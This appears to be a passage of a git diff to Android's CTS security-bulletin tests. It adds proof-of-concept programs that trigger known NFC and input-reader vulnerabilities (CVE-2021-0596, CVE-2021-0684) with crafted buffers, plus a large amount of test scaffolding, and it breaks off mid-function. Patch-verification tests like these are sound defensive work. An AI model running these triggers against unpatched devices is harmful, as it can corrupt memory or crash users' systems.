+ *(p + 7) = 0x01;
+ *(p + 8) = 0x02;
+ *(p + 9) = 0x40;
+ *(p + 10) = 0x00;
+ *(p + 11) = 0x02;
+ *(p + 12) = 0x40;
+
+ llcp_link_connection_cback(conn_id, event, p_data);
+
+ free(p_data);
+ free(nfc_cb.quick_timer_queue.p_first);
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
index 7b410b76277..3d54d70dde3 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
@@ -16,7 +16,7 @@
*/
cc_test {
- name: "CVE-2021-29368",
+ name: "CVE-2020-29368",
defaults: ["cts_hostsidetests_securitybulletin_defaults"],
srcs: ["poc.cpp",],
}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/poc.cpp
index 1b3528cd24a..1b3528cd24a 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/poc.cpp
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0596/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0596/Android.bp
new file mode 100644
index 00000000000..470f2561c51
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0596/Android.bp
@@ -0,0 +1,42 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2021-0596",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils",
+ ],
+ compile_multilib: "64",
+ include_dirs: [
+ "packages/apps/Nfc/nci/jni/extns/pn54x/inc",
+ "packages/apps/Nfc/nci/jni/extns/pn54x/src/common",
+ "packages/apps/Nfc/nci/jni/extns/pn54x/src/mifare",
+ "system/nfc/src/gki/common",
+ "system/nfc/src/gki/ulinux",
+ "system/nfc/src/include",
+ "system/nfc/src/nfa/include",
+ "system/nfc/src/nfc/include",
+ ],
+ shared_libs: [
+ "libnfc_nci_jni",
+ ],
+ cflags: [
+ "-DCHECK_UNDERFLOW",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0596/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0596/poc.cpp
new file mode 100644
index 00000000000..9b250044e38
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0596/poc.cpp
@@ -0,0 +1,35 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+#include "phNxpExtns_MifareStd.h"
+
+uint8_t NFC_GetNCIVersion() {
+ return NCI_VERSION_2_0;
+}
+
+int main() {
+ uint8_t *buffer = (uint8_t*) malloc(16 * sizeof(uint8_t));
+ if (buffer == nullptr) {
+ return EXIT_FAILURE;
+ }
+ uint8_t bufferSize = 1;
+ buffer[0] = 0x10;
+ phNxpExtns_MfcModuleInit();
+ Mfc_RecvPacket(buffer, bufferSize);
+ free(buffer);
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/Android.bp
new file mode 100644
index 00000000000..2c9502b68aa
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/Android.bp
@@ -0,0 +1,47 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2021-0684",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ header_libs: [
+ "libbatteryservice_headers",
+ ],
+ srcs: [
+ "poc.cpp",
+ "TestInputListener.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils",
+ ],
+ cflags: [
+ "-DCHECK_OVERFLOW",
+ "-DCHECK_USE_AFTER_FREE_WITH_WINDOW_SIZE=4096",
+ "-Wno-unused-parameter",
+ ],
+ static_libs: [
+ "libinputdispatcher",
+ ],
+ shared_libs: [
+ "libinputflinger_base",
+ "libinputreader",
+ "libinputflinger",
+ "libinputreader",
+ "libbase",
+ "libinput",
+ "liblog",
+ "libutils",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/TestInputListener.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/TestInputListener.cpp
new file mode 100644
index 00000000000..875a38ad762
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/TestInputListener.cpp
@@ -0,0 +1,111 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+/* 'frameworks/native/services/inputflinger/tests/TestInputListener.cpp'
+ * is used as reference to come up with file
+ * Only code pertaining to gtest 'Process_DeactivateViewport_AbortTouches' is
+ * retained
+ */
+
+#include "TestInputListener.h"
+
+namespace android {
+
+// --- TestInputListener ---
+
+TestInputListener::TestInputListener(std::chrono::milliseconds eventHappenedTimeout,
+ std::chrono::milliseconds eventDidNotHappenTimeout)
+ : mEventHappenedTimeout(eventHappenedTimeout),
+ mEventDidNotHappenTimeout(eventDidNotHappenTimeout) {}
+
+TestInputListener::~TestInputListener() {}
+
+template <class NotifyArgsType>
+void TestInputListener::assertCalled(NotifyArgsType* outEventArgs, std::string message) {
+ std::unique_lock<std::mutex> lock(mLock);
+ base::ScopedLockAssertion assumeLocked(mLock);
+
+ std::vector<NotifyArgsType>& queue = std::get<std::vector<NotifyArgsType>>(mQueues);
+ if (queue.empty()) {
+ const bool eventReceived =
+ mCondition.wait_for(lock, mEventHappenedTimeout,
+ [&queue]() REQUIRES(mLock) { return !queue.empty(); });
+ if (!eventReceived) {
+ return;
+ }
+ }
+ if (outEventArgs) {
+ *outEventArgs = *queue.begin();
+ }
+ queue.erase(queue.begin());
+}
+
+template <class NotifyArgsType>
+void TestInputListener::assertNotCalled(std::string message) {
+ std::unique_lock<std::mutex> lock(mLock);
+ base::ScopedLockAssertion assumeLocked(mLock);
+
+ std::vector<NotifyArgsType>& queue = std::get<std::vector<NotifyArgsType>>(mQueues);
+ const bool eventReceived =
+ mCondition.wait_for(lock, mEventDidNotHappenTimeout,
+ [&queue]() REQUIRES(mLock) { return !queue.empty(); });
+ if (eventReceived) {
+ return;
+ }
+}
+
+template <class NotifyArgsType>
+void TestInputListener::notify(const NotifyArgsType* args) {
+ std::scoped_lock<std::mutex> lock(mLock);
+
+ std::vector<NotifyArgsType>& queue = std::get<std::vector<NotifyArgsType>>(mQueues);
+ queue.push_back(*args);
+ mCondition.notify_all();
+}
+
+void TestInputListener::notifyConfigurationChanged(const NotifyConfigurationChangedArgs* args) {
+ notify<NotifyConfigurationChangedArgs>(args);
+}
+
+void TestInputListener::notifyDeviceReset(const NotifyDeviceResetArgs* args) {
+ notify<NotifyDeviceResetArgs>(args);
+}
+
+void TestInputListener::notifyKey(const NotifyKeyArgs* args) {
+ notify<NotifyKeyArgs>(args);
+}
+
+void TestInputListener::notifyMotion(const NotifyMotionArgs* args) {
+ notify<NotifyMotionArgs>(args);
+}
+
+void TestInputListener::notifySwitch(const NotifySwitchArgs* args) {
+ notify<NotifySwitchArgs>(args);
+}
+
+void TestInputListener::notifyPointerCaptureChanged(const NotifyPointerCaptureChangedArgs* args) {
+ notify<NotifyPointerCaptureChangedArgs>(args);
+}
+
+void TestInputListener::notifySensor(const NotifySensorArgs* args) {
+ notify<NotifySensorArgs>(args);
+}
+
+void TestInputListener::notifyVibratorState(const NotifyVibratorStateArgs* args) {
+ notify<NotifyVibratorStateArgs>(args);
+}
+
+} // namespace android
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/TestInputListener.h b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/TestInputListener.h
new file mode 100644
index 00000000000..067ac835ba2
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/TestInputListener.h
@@ -0,0 +1,85 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+/* 'frameworks/native/services/inputflinger/tests/TestInputListener.cpp'
+ * is used as reference to come up with file
+ * Only code pertaining to gtest 'Process_DeactivateViewport_AbortTouches' is
+ * retained
+ */
+
+#ifndef _UI_TEST_INPUT_LISTENER_H
+#define _UI_TEST_INPUT_LISTENER_H
+
+#include <android-base/thread_annotations.h>
+#include "InputListener.h"
+
+using std::chrono_literals::operator""ms;
+
+namespace android {
+
+// --- TestInputListener ---
+
+class TestInputListener : public InputListenerInterface {
+protected:
+ virtual ~TestInputListener();
+
+public:
+ TestInputListener(std::chrono::milliseconds eventHappenedTimeout = 0ms,
+ std::chrono::milliseconds eventDidNotHappenTimeout = 0ms);
+
+ template <class NotifyArgsType>
+ void assertCalled(NotifyArgsType* outEventArgs, std::string message);
+
+ template <class NotifyArgsType>
+ void assertNotCalled(std::string message);
+
+ template <class NotifyArgsType>
+ void notify(const NotifyArgsType* args);
+
+ virtual void notifyConfigurationChanged(const NotifyConfigurationChangedArgs* args) override;
+
+ virtual void notifyDeviceReset(const NotifyDeviceResetArgs* args) override;
+
+ virtual void notifyKey(const NotifyKeyArgs* args) override;
+
+ virtual void notifyMotion(const NotifyMotionArgs* args) override;
+
+ virtual void notifySwitch(const NotifySwitchArgs* args) override;
+
+ virtual void notifySensor(const NotifySensorArgs* args) override;
+
+ virtual void notifyVibratorState(const NotifyVibratorStateArgs* args) override;
+
+ virtual void notifyPointerCaptureChanged(const NotifyPointerCaptureChangedArgs* args) override;
+
+ std::mutex mLock;
+ std::condition_variable mCondition;
+ const std::chrono::milliseconds mEventHappenedTimeout;
+ const std::chrono::milliseconds mEventDidNotHappenTimeout;
+
+ std::tuple<std::vector<NotifyConfigurationChangedArgs>, //
+ std::vector<NotifyDeviceResetArgs>, //
+ std::vector<NotifyKeyArgs>, //
+ std::vector<NotifyMotionArgs>, //
+ std::vector<NotifySwitchArgs>, //
+ std::vector<NotifySensorArgs>, //
+ std::vector<NotifyVibratorStateArgs>, //
+ std::vector<NotifyPointerCaptureChangedArgs>> //
+ mQueues GUARDED_BY(mLock);
+};
+
+} // namespace android
+#endif
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/poc.cpp
new file mode 100644
index 00000000000..13b33b6771f
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/poc.cpp
@@ -0,0 +1,1236 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+/* 'frameworks/native/services/inputflinger/tests/TestInputListener.cpp'
+ * is used as reference to come up with file
+ * Only code pertaining to gtest 'Process_DeactivateViewport_AbortTouches' is
+ * retained
+ */
+
+#include <InputMapper.h>
+#include <InputReader.h>
+#include <InputReaderBase.h>
+#include <InputReaderFactory.h>
+#include <MultiTouchInputMapper.h>
+#include <TestInputListener.h>
+
+namespace android {
+
+using std::chrono_literals::operator""ms;
+using namespace android::flag_operators;
+
+// Timeout for waiting for an expected event
+static constexpr std::chrono::duration WAIT_TIMEOUT = 100ms;
+
+// An arbitrary time value.
+static constexpr nsecs_t ARBITRARY_TIME = 1234;
+static constexpr nsecs_t READ_TIME = 4321;
+
+// Arbitrary display properties.
+static constexpr int32_t DISPLAY_ID = 0;
+static constexpr int32_t DISPLAY_WIDTH = 480;
+static constexpr int32_t DISPLAY_HEIGHT = 800;
+static constexpr std::optional<uint8_t> NO_PORT = std::nullopt;
+static constexpr int32_t BATTERY_STATUS = 4;
+static constexpr int32_t BATTERY_CAPACITY = 66;
+static constexpr int32_t RAW_X_MIN = 25;
+static constexpr int32_t RAW_X_MAX = 1019;
+static constexpr int32_t RAW_Y_MIN = 30;
+static constexpr int32_t RAW_Y_MAX = 1009;
+constexpr int32_t DEVICE_ID = END_RESERVED_ID + 1000;
+constexpr int32_t DEVICE_GENERATION = 2;
+
+const char* DEVICE_NAME = "device";
+const char* DEVICE_LOCATION = "USB1";
+const Flags<InputDeviceClass> DEVICE_CLASSES = Flags<InputDeviceClass>(0);
+constexpr int32_t EVENTHUB_ID = 1;
+const std::string UNIQUE_ID = "local:0";
+
+template <typename T>
+static inline T min(T a, T b) {
+ return a < b ? a : b;
+}
+
+// --- TestPointerController ---
+
+class TestPointerController : public PointerControllerInterface {
+ bool mHaveBounds;
+ float mMinX, mMinY, mMaxX, mMaxY;
+ float mX, mY;
+ int32_t mButtonState;
+ int32_t mDisplayId;
+
+public:
+ TestPointerController()
+ : mHaveBounds(false),
+ mMinX(0),
+ mMinY(0),
+ mMaxX(0),
+ mMaxY(0),
+ mX(0),
+ mY(0),
+ mButtonState(0),
+ mDisplayId(ADISPLAY_ID_DEFAULT) {}
+
+ virtual ~TestPointerController() {}
+
+ void setBounds(float minX, float minY, float maxX, float maxY) {
+ mHaveBounds = true;
+ mMinX = minX;
+ mMinY = minY;
+ mMaxX = maxX;
+ mMaxY = maxY;
+ }
+
+ void setPosition(float x, float y) override {
+ mX = x;
+ mY = y;
+ }
+
+ void setButtonState(int32_t buttonState) override { mButtonState = buttonState; }
+
+ int32_t getButtonState() const override { return mButtonState; }
+
+ void getPosition(float* outX, float* outY) const override {
+ *outX = mX;
+ *outY = mY;
+ }
+
+ int32_t getDisplayId() const override { return mDisplayId; }
+
+ void setDisplayViewport(const DisplayViewport& viewport) override {
+ mDisplayId = viewport.displayId;
+ }
+
+ const std::map<int32_t, std::vector<int32_t>>& getSpots() { return mSpotsByDisplay; }
+
+private:
+ bool getBounds(float* outMinX, float* outMinY, float* outMaxX, float* outMaxY) const override {
+ *outMinX = mMinX;
+ *outMinY = mMinY;
+ *outMaxX = mMaxX;
+ *outMaxY = mMaxY;
+ return mHaveBounds;
+ }
+
+ void move(float deltaX, float deltaY) override {
+ mX += deltaX;
+ if (mX < mMinX) mX = mMinX;
+ if (mX > mMaxX) mX = mMaxX;
+ mY += deltaY;
+ if (mY < mMinY) mY = mMinY;
+ if (mY > mMaxY) mY = mMaxY;
+ }
+
+ void fade(Transition) override {}
+
+ void unfade(Transition) override {}
+
+ void setPresentation(Presentation) override {}
+
+ void setSpots(const PointerCoords*, const uint32_t*, BitSet32 spotIdBits,
+ int32_t displayId) override {
+ std::vector<int32_t> newSpots;
+ // Add spots for fingers that are down.
+ for (BitSet32 idBits(spotIdBits); !idBits.isEmpty();) {
+ uint32_t id = idBits.clearFirstMarkedBit();
+ newSpots.push_back(id);
+ }
+
+ mSpotsByDisplay[displayId] = newSpots;
+ }
+
+ void clearSpots() override {}
+
+ std::map<int32_t, std::vector<int32_t>> mSpotsByDisplay;
+};
+
+// --- TestInputReaderPolicy---
+
+class TestInputReaderPolicy : public InputReaderPolicyInterface {
+ std::mutex mLock;
+ std::condition_variable mDevicesChangedCondition;
+
+ InputReaderConfiguration mConfig;
+ std::unordered_map<int32_t, std::shared_ptr<TestPointerController>> mPointerControllers;
+ std::vector<InputDeviceInfo> mInputDevices GUARDED_BY(mLock);
+ bool mInputDevicesChanged GUARDED_BY(mLock){false};
+ std::vector<DisplayViewport> mViewports;
+ TouchAffineTransformation transform;
+
+protected:
+ virtual ~TestInputReaderPolicy() {}
+
+public:
+ TestInputReaderPolicy() {}
+
+ virtual void clearViewports() {
+ mViewports.clear();
+ mConfig.setDisplayViewports(mViewports);
+ }
+
+ std::optional<DisplayViewport> getDisplayViewportByUniqueId(const std::string& uniqueId) const {
+ return mConfig.getDisplayViewportByUniqueId(uniqueId);
+ }
+ std::optional<DisplayViewport> getDisplayViewportByType(ViewportType type) const {
+ return mConfig.getDisplayViewportByType(type);
+ }
+
+ std::optional<DisplayViewport> getDisplayViewportByPort(uint8_t displayPort) const {
+ return mConfig.getDisplayViewportByPort(displayPort);
+ }
+
+ void addDisplayViewport(int32_t displayId, int32_t width, int32_t height, int32_t orientation,
+ bool isActive, const std::string& uniqueId,
+ std::optional<uint8_t> physicalPort, ViewportType viewportType) {
+ const DisplayViewport viewport =
+ createDisplayViewport(displayId, width, height, orientation, isActive, uniqueId,
+ physicalPort, viewportType);
+ mViewports.push_back(viewport);
+ mConfig.setDisplayViewports(mViewports);
+ }
+
+ bool updateViewport(const DisplayViewport& viewport) {
+ size_t count = mViewports.size();
+ for (size_t i = 0; i < count; i++) {
+ const DisplayViewport& currentViewport = mViewports[i];
+ if (currentViewport.displayId == viewport.displayId) {
+ mViewports[i] = viewport;
+ mConfig.setDisplayViewports(mViewports);
+ return true;
+ }
+ }
+ // no viewport found.
+ return false;
+ }
+
+ void addExcludedDeviceName(const std::string& deviceName) {
+ mConfig.excludedDeviceNames.push_back(deviceName);
+ }
+
+ void addInputPortAssociation(const std::string& inputPort, uint8_t displayPort) {
+ mConfig.portAssociations.insert({inputPort, displayPort});
+ }
+
+ void addInputUniqueIdAssociation(const std::string& inputUniqueId,
+ const std::string& displayUniqueId) {
+ mConfig.uniqueIdAssociations.insert({inputUniqueId, displayUniqueId});
+ }
+
+ void addDisabledDevice(int32_t deviceId) { mConfig.disabledDevices.insert(deviceId); }
+
+ void removeDisabledDevice(int32_t deviceId) { mConfig.disabledDevices.erase(deviceId); }
+
+ void setPointerController(int32_t deviceId, std::shared_ptr<TestPointerController> controller) {
+ mPointerControllers.insert_or_assign(deviceId, std::move(controller));
+ }
+
+ const InputReaderConfiguration* getReaderConfiguration() const { return &mConfig; }
+
+ const std::vector<InputDeviceInfo>& getInputDevices() const { return mInputDevices; }
+
+ TouchAffineTransformation getTouchAffineTransformation(const std::string& inputDeviceDescriptor,
+ int32_t surfaceRotation) {
+ return transform;
+ }
+
+ void setTouchAffineTransformation(const TouchAffineTransformation t) { transform = t; }
+
+ void setPointerCapture(bool enabled) { mConfig.pointerCapture = enabled; }
+
+ void setShowTouches(bool enabled) { mConfig.showTouches = enabled; }
+
+ void setDefaultPointerDisplayId(int32_t pointerDisplayId) {
+ mConfig.defaultPointerDisplayId = pointerDisplayId;
+ }
+
+ float getPointerGestureMovementSpeedRatio() { return mConfig.pointerGestureMovementSpeedRatio; }
+
+private:
+ DisplayViewport createDisplayViewport(int32_t displayId, int32_t width, int32_t height,
+ int32_t orientation, bool isActive,
+ const std::string& uniqueId,
+ std::optional<uint8_t> physicalPort, ViewportType type) {
+ bool isRotated =
+ (orientation == DISPLAY_ORIENTATION_90 || orientation == DISPLAY_ORIENTATION_270);
+ DisplayViewport v;
+ v.displayId = displayId;
+ v.orientation = orientation;
+ v.logicalLeft = 0;
+ v.logicalTop = 0;
+ v.logicalRight = isRotated ? height : width;
+ v.logicalBottom = isRotated ? width : height;
+ v.physicalLeft = 0;
+ v.physicalTop = 0;
+ v.physicalRight = isRotated ? height : width;
+ v.physicalBottom = isRotated ? width : height;
+ v.deviceWidth = isRotated ? height : width;
+ v.deviceHeight = isRotated ? width : height;
+ v.isActive = isActive;
+ v.uniqueId = uniqueId;
+ v.physicalPort = physicalPort;
+ v.type = type;
+ return v;
+ }
+
+ void getReaderConfiguration(InputReaderConfiguration* outConfig) override {
+ *outConfig = mConfig;
+ }
+
+ std::shared_ptr<PointerControllerInterface> obtainPointerController(int32_t deviceId) override {
+ return mPointerControllers[deviceId];
+ }
+
+ void notifyInputDevicesChanged(const std::vector<InputDeviceInfo>& inputDevices) override {
+ std::scoped_lock<std::mutex> lock(mLock);
+ mInputDevices = inputDevices;
+ mInputDevicesChanged = true;
+ mDevicesChangedCondition.notify_all();
+ }
+
+ std::shared_ptr<KeyCharacterMap> getKeyboardLayoutOverlay(
+ const InputDeviceIdentifier&) override {
+ return nullptr;
+ }
+
+ std::string getDeviceAlias(const InputDeviceIdentifier&) override { return ""; }
+
+ void waitForInputDevices(std::function<void(bool)> processDevicesChanged) {
+ std::unique_lock<std::mutex> lock(mLock);
+ base::ScopedLockAssertion assumeLocked(mLock);
+
+ mDevicesChangedCondition.wait_for(lock, WAIT_TIMEOUT, [this]() REQUIRES(mLock) {
+ return mInputDevicesChanged;
+ });
+ mInputDevicesChanged = false;
+ }
+};
+
+// --- TestEventHub ---
+
+class TestEventHub : public EventHubInterface {
+ struct KeyInfo {
+ int32_t keyCode;
+ uint32_t flags;
+ };
+
+ struct SensorInfo {
+ InputDeviceSensorType sensorType;
+ int32_t sensorDataIndex;
+ };
+
+ struct Device {
+ InputDeviceIdentifier identifier;
+ Flags<InputDeviceClass> classes;
+ PropertyMap configuration;
+ KeyedVector<int, RawAbsoluteAxisInfo> absoluteAxes;
+ KeyedVector<int, bool> relativeAxes;
+ KeyedVector<int32_t, int32_t> keyCodeStates;
+ KeyedVector<int32_t, int32_t> scanCodeStates;
+ KeyedVector<int32_t, int32_t> switchStates;
+ KeyedVector<int32_t, int32_t> absoluteAxisValue;
+ KeyedVector<int32_t, KeyInfo> keysByScanCode;
+ KeyedVector<int32_t, KeyInfo> keysByUsageCode;
+ KeyedVector<int32_t, bool> leds;
+ std::unordered_map<int32_t, SensorInfo> sensorsByAbsCode;
+ BitArray<MSC_MAX> mscBitmask;
+ std::vector<VirtualKeyDefinition> virtualKeys;
+ bool enabled;
+
+ status_t enable() {
+ enabled = true;
+ return OK;
+ }
+
+ status_t disable() {
+ enabled = false;
+ return OK;
+ }
+
+ explicit Device(Flags<InputDeviceClass> classes) : classes(classes), enabled(true) {}
+ };
+
+ std::mutex mLock;
+ std::condition_variable mEventsCondition;
+
+ KeyedVector<int32_t, Device*> mDevices;
+ std::vector<std::string> mExcludedDevices;
+ std::vector<RawEvent> mEvents GUARDED_BY(mLock);
+ std::unordered_map<int32_t /*deviceId*/, std::vector<TouchVideoFrame>> mVideoFrames;
+ std::vector<int32_t> mVibrators = {0, 1};
+ std::unordered_map<int32_t, RawLightInfo> mRawLightInfos;
+ // Simulates a device light brightness, from light id to light brightness.
+ std::unordered_map<int32_t /* lightId */, int32_t /* brightness*/> mLightBrightness;
+ // Simulates a device light intensities, from light id to light intensities map.
+ std::unordered_map<int32_t /* lightId */, std::unordered_map<LightColor, int32_t>>
+ mLightIntensities;
+
+public:
+ virtual ~TestEventHub() {
+ for (size_t i = 0; i < mDevices.size(); i++) {
+ delete mDevices.valueAt(i);
+ }
+ }
+
+ TestEventHub() {}
+
+ void addDevice(int32_t deviceId, const std::string& name, Flags<InputDeviceClass> classes) {
+ Device* device = new Device(classes);
+ device->identifier.name = name;
+ mDevices.add(deviceId, device);
+
+ enqueueEvent(ARBITRARY_TIME, READ_TIME, deviceId, EventHubInterface::DEVICE_ADDED, 0, 0);
+ }
+
+ void removeDevice(int32_t deviceId) {
+ delete mDevices.valueFor(deviceId);
+ mDevices.removeItem(deviceId);
+
+ enqueueEvent(ARBITRARY_TIME, READ_TIME, deviceId, EventHubInterface::DEVICE_REMOVED, 0, 0);
+ }
+
+ bool isDeviceEnabled(int32_t deviceId) {
+ Device* device = getDevice(deviceId);
+ if (device == nullptr) {
+ ALOGE("Incorrect device id=%" PRId32 " provided to %s", deviceId, __func__);
+ return false;
+ }
+ return device->enabled;
+ }
+
+ status_t enableDevice(int32_t deviceId) {
+ status_t result;
+ Device* device = getDevice(deviceId);
+ if (device == nullptr) {
+ ALOGE("Incorrect device id=%" PRId32 " provided to %s", deviceId, __func__);
+ return BAD_VALUE;
+ }
+ if (device->enabled) {
+ ALOGW("Duplicate call to %s, device %" PRId32 " already enabled", __func__, deviceId);
+ return OK;
+ }
+ result = device->enable();
+ return result;
+ }
+
+ status_t disableDevice(int32_t deviceId) {
+ Device* device = getDevice(deviceId);
+ if (device == nullptr) {
+ ALOGE("Incorrect device id=%" PRId32 " provided to %s", deviceId, __func__);
+ return BAD_VALUE;
+ }
+ if (!device->enabled) {
+ ALOGW("Duplicate call to %s, device %" PRId32 " already disabled", __func__, deviceId);
+ return OK;
+ }
+ return device->disable();
+ }
+
+ void finishDeviceScan() {
+ enqueueEvent(ARBITRARY_TIME, READ_TIME, 0, EventHubInterface::FINISHED_DEVICE_SCAN, 0, 0);
+ }
+
+ void addConfigurationProperty(int32_t deviceId, const String8& key, const String8& value) {
+ Device* device = getDevice(deviceId);
+ device->configuration.addProperty(key, value);
+ }
+
+ void addConfigurationMap(int32_t deviceId, const PropertyMap* configuration) {
+ Device* device = getDevice(deviceId);
+ device->configuration.addAll(configuration);
+ }
+
+ void addAbsoluteAxis(int32_t deviceId, int axis, int32_t minValue, int32_t maxValue, int flat,
+ int fuzz, int resolution = 0) {
+ Device* device = getDevice(deviceId);
+
+ RawAbsoluteAxisInfo info;
+ info.valid = true;
+ info.minValue = minValue;
+ info.maxValue = maxValue;
+ info.flat = flat;
+ info.fuzz = fuzz;
+ info.resolution = resolution;
+ device->absoluteAxes.add(axis, info);
+ }
+
+ void addRelativeAxis(int32_t deviceId, int32_t axis) {
+ Device* device = getDevice(deviceId);
+ device->relativeAxes.add(axis, true);
+ }
+
+ void setKeyCodeState(int32_t deviceId, int32_t keyCode, int32_t state) {
+ Device* device = getDevice(deviceId);
+ device->keyCodeStates.replaceValueFor(keyCode, state);
+ }
+
+ void setScanCodeState(int32_t deviceId, int32_t scanCode, int32_t state) {
+ Device* device = getDevice(deviceId);
+ device->scanCodeStates.replaceValueFor(scanCode, state);
+ }
+
+ void setSwitchState(int32_t deviceId, int32_t switchCode, int32_t state) {
+ Device* device = getDevice(deviceId);
+ device->switchStates.replaceValueFor(switchCode, state);
+ }
+
+ void setAbsoluteAxisValue(int32_t deviceId, int32_t axis, int32_t value) {
+ Device* device = getDevice(deviceId);
+ device->absoluteAxisValue.replaceValueFor(axis, value);
+ }
+
+ void addKey(int32_t deviceId, int32_t scanCode, int32_t usageCode, int32_t keyCode,
+ uint32_t flags) {
+ Device* device = getDevice(deviceId);
+ KeyInfo info;
+ info.keyCode = keyCode;
+ info.flags = flags;
+ if (scanCode) {
+ device->keysByScanCode.add(scanCode, info);
+ }
+ if (usageCode) {
+ device->keysByUsageCode.add(usageCode, info);
+ }
+ }
+
+ void addLed(int32_t deviceId, int32_t led, bool initialState) {
+ Device* device = getDevice(deviceId);
+ device->leds.add(led, initialState);
+ }
+
+ void addSensorAxis(int32_t deviceId, int32_t absCode, InputDeviceSensorType sensorType,
+ int32_t sensorDataIndex) {
+ Device* device = getDevice(deviceId);
+ SensorInfo info;
+ info.sensorType = sensorType;
+ info.sensorDataIndex = sensorDataIndex;
+ device->sensorsByAbsCode.emplace(absCode, info);
+ }
+
+ void setMscEvent(int32_t deviceId, int32_t mscEvent) {
+ Device* device = getDevice(deviceId);
+ typename BitArray<MSC_MAX>::Buffer buffer;
+ buffer[mscEvent / 32] = 1 << mscEvent % 32;
+ device->mscBitmask.loadFromBuffer(buffer);
+ }
+
+ void addRawLightInfo(int32_t rawId, RawLightInfo&& info) {
+ mRawLightInfos.emplace(rawId, std::move(info));
+ }
+
+ void testLightBrightness(int32_t rawId, int32_t brightness) {
+ mLightBrightness.emplace(rawId, brightness);
+ }
+
+ void testLightIntensities(int32_t rawId,
